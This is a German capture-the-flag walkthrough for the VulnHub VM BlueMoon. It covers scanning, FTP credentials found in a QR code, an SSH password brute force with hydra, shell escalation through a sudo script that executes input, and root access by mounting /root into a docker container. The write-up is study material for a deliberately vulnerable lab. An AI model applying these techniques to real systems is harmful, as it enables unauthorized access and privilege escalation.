Im folgenden Beitrag zeige ich meinen Lösungsweg für die Pen Testing VM BlueMoon auf VulnHub auf. Die VM ist unter folgender URL zu finden: BlueMoon: 2021 ~ VulnHub
Als erstes scanne ich die offnen Ports mit Service Fingerprinting um mögliche Angriffsvektoren zu finden
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
sudo nmap -sV -sC 10.22.5.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-18 14:38 CEST
Nmap scan report for 10.22.5.111
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 2c:e2:63:78:bc:55:fe:f3:cb:09:a9:d8:26:2f:cb:d5 (RSA)
| 256 c4:c8:6b:48:92:25:a5:f7:00:9f:ab:b2:56:d5:ed:dc (ECDSA)
|_ 256 a9:5b:39:a1:6e:05:91:0f:75:3c:88:0b:55:7c:a8:c2 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: BlueMoon:2021
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds
|
Eine Suche mit searchsploit vsftpd und searchsploit apache 2.4.38 sagt mir, dass es keine bekannten Exploits für die Versionen vom FTP und HTTP Server gibt. Deshalb schaue ich mir die Webseite mal an. Ausser der Begrüssung zum Challenge zeigt die Seite wie auch deren Quelltext nichts besonderes.
Also starte ich einen Scan nach versteckten Dateien und Verzeichnissen
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
gobuster dir -u http://10.22.5.111 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.22.5.111
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
2021/04/18 14:58:45 Starting gobuster in directory enumeration mode
/server-status (Status: 403) [Size: 276]
/hidden_text (Status: 200) [Size: 1169]
===============================================================
2021/04/18 15:01:54 Finished
|
Die URL /hidden_text klingt spannend, ein Besuch im Browser zeigt eine Maintenance Meldung mit einem Link zu einem QR Code.
Mit dem Command Line Barcode Reader zbarimg lässt sich der Text anzeigen
1
2
3
4
5
6
7
8
9
|
curl -s -o- http://10.22.5.111/.QR_C0d3.png | zbarimg -
QR-Code:#!/bin/bash
HOST=ip
USER=userftp
PASSWORD=ftpp@ssword
ftp -inv $HOST user $USER $PASSWORD
bye
EOF
scanned 1 barcode symbols from 1 images in 0.01 seconds
|
Aha ein FTP Zugang! Mit diesem öffne ich gleich mal eine FTP Verbindung. Was sofort auffällt ist, dass ich in den Passive Modus wechseln muss.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
ftp -v
ftp> op
(to) 10.22.5.111
Connected to 10.22.5.111.
220 (vsFTPd 3.0.3)
Name (10.22.5.111:philipp): userftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
500 Illegal PORT command.
ftp: bind: Address already in use
ftp> pass
Passive mode on.
ftp> dir
227 Entering Passive Mode (10,22,5,111,33,39).
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 147 Mar 08 00:27 information.txt
-rw-r--r-- 1 0 0 363 Mar 08 00:28 p_lists.txt
226 Directory send OK.
ftp> get information.txt
local: information.txt remote: information.txt
227 Entering Passive Mode (10,22,5,111,214,0).
150 Opening BINARY mode data connection for information.txt (147 bytes).
226 Transfer complete.
147 bytes received in 0.00 secs (2.1905 MB/s)
ftp> get p_lists.txt
local: p_lists.txt remote: p_lists.txt
227 Entering Passive Mode (10,22,5,111,159,99).
150 Opening BINARY mode data connection for p_lists.txt (363 bytes).
226 Transfer complete.
363 bytes received in 0.00 secs (4.1212 MB/s)
ftp> bye
221 Goodbye.
|
Die 2 Dateien im Verzeichnis des FTP Benutzers lade ich mir herunter und schaue was darin steht. In der Information wird darauf hingewiesen, dass ein Benutzer names robin ein schwaches Passwort hat und er möchte das Passwort anhand einer Liste (in p_lists.txt) wechseln. Für mich deutet das auf ein SSH Brute Force für den Benutzer robin mit der Passwort Liste hin.
1
2
3
4
5
6
7
8
9
10
11
12
|
hydra -l robin -P p_lists.txt ssh://10.22.5.111
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-18 15:20:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 32 login tries (l:1/p:32), ~2 tries per task
[DATA] attacking ssh://10.22.5.111:22/
[22][ssh] host: 10.22.5.111 login: robin password: k4rv3ndh4nh4ck3r
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-18 15:20:39
|
Robin hat also das Passwort k4rv3ndh4nh4ck3r gewählt. Mit diesem öffne ich eine SSH Verbindung zum Server und siehe da ist das erste Flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
ssh [email protected]
[email protected]'s password:
Linux BlueMoon 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 18 05:03:21 2021 from 192.168.3.38
robin@BlueMoon:~$ ls -la
total 36
drwxr-xr-x 4 robin robin 4096 Apr 4 07:57 .
drwxr-xr-x 5 root root 4096 Mar 8 00:05 ..
-rw------- 1 robin robin 19 Apr 4 07:57 .bash_history
-rw-r--r-- 1 robin robin 220 Mar 7 20:23 .bash_logout
-rw-r--r-- 1 robin robin 3526 Mar 7 20:23 .bashrc
drwxr-xr-x 3 robin robin 4096 Mar 7 23:39 .local
-rw-r--r-- 1 robin robin 807 Mar 7 20:23 .profile
drwxr-xr-x 2 robin robin 4096 Apr 18 05:06 project
-rw-r--r-- 1 robin robin 69 Mar 7 23:41 user1.txt
robin@BlueMoon:~$ cat user1.txt
You Gained User-1 Flag
==> Fl4g{u5er1r34ch3d5ucc355fully}
robin@BlueMoon:~$
|
Als nächste prüfe ich, was ich als robin für sudo Möglichkeiten habe. Dabei entdecke ich einen zweiten Benutzer namens jerry. Robin darf also als jerry ein Shell Script in dessen Home Verzeichnis starten. Also schaue ich mir dieses Script genauer an.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
robin@BlueMoon:~$ sudo -l
Matching Defaults entries for robin on bluemoon:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User robin may run the following commands on bluemoon:
(jerry) NOPASSWD: /home/robin/project/feedback.sh
robin@BlueMoon:~$ cat project/feedback.sh
!/bin/bash
clear
echo -e "Script For FeedBack\n"
read -p "Enter Your Name : " name
echo ""
read -p "Enter You FeedBack About This Target Machine : " feedback
echo ""
$feedback 2>/dev/null
echo -e "\nThanks For Your FeedBack…!\n"
robin@BlueMoon:~$
|
Das Script list eine Benutzereingabe in die Variable feedback und führt diese dann aus. Damit kann ich eine Shell als jerry starten.
1
2
3
4
5
6
7
|
sudo -u jerry project/feedback.sh
Script For FeedBack
Enter Your Name : efwef
Enter You FeedBack About This Target Machine : /bin/sh
python -c 'import pty; pty.spawn("/bin/sh")'
$ bash
jerry@BlueMoon:/home/robin$
|
Als jerry schaue ich mich etwas in dessen Home Verzeichnis um und entdecke das Flag Nummer 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
jerry@BlueMoon:~$ cd ~
jerry@BlueMoon:~$ ls -la
total 32
drwxr-xr-x 3 jerry jerry 4096 Apr 18 06:38 .
drwxr-xr-x 5 root root 4096 Mar 8 00:05 ..
-rw------- 1 jerry jerry 5 Apr 4 07:56 .bash_history
-rw-r--r-- 1 jerry jerry 220 Apr 17 2019 .bash_logout
-rw-r--r-- 1 jerry jerry 3526 Apr 17 2019 .bashrc
drwxr-xr-x 3 jerry jerry 4096 Mar 8 00:49 .local
-rw-r--r-- 1 jerry jerry 807 Apr 17 2019 .profile
-rw-r----- 1 jerry jerry 178 Mar 8 00:55 user2.txt
jerry@BlueMoon:~$ cat user2.txt
You Found User-2 Flag
==> Fl4g{Y0ur34ch3du53r25uc355ful1y}
You Are Reached Near To Me… Try To Find
- Root
jerry@BlueMoon:~$
|
Mal schauen in welchen Gruppen jerry Mitglied ist..
1
2
3
4
|
jerry@BlueMoon:~$ cat /etc/group | grep jerry
jerry❌1002:
docker❌114:jerry
jerry@BlueMoon:~$
|
Jerry ist Mitglied der Gruppe Docker, damit habe ich die Möglichkeit Container zu starten und Bind Mounts als Root durch zu führen 😁 Zuerst schaue ich, welche Images bereits auf dem Host vorhanden sind und starte dann eines mit einem Bind Mount zu /root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
jerry@BlueMoon:~$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest 28f6e2705743 8 weeks ago 5.61MB
jerry@BlueMoon:~$ docker run --rm -it -v /root:/root alpine sh
/ # ls -la /root
total 28
drwx------ 3 root root 4096 Apr 18 12:24 .
drwxr-xr-x 1 root root 4096 Apr 18 13:47 ..
-rw------- 1 root root 51 Apr 18 13:47 .ash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4096 Mar 8 04:33 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 240 Apr 4 14:48 root.txt
/ # cat /root/root.txt
==> Congratulations <==
You Reached Root...!
Root-Flag
Fl4g{r00t-H4ckTh3P14n3t0nc34g41n}
Created By
Kirthik - Karvendhan
instagram = ____kirthik____
!......Bye See You Again......!
/ #
|
Game Over 💪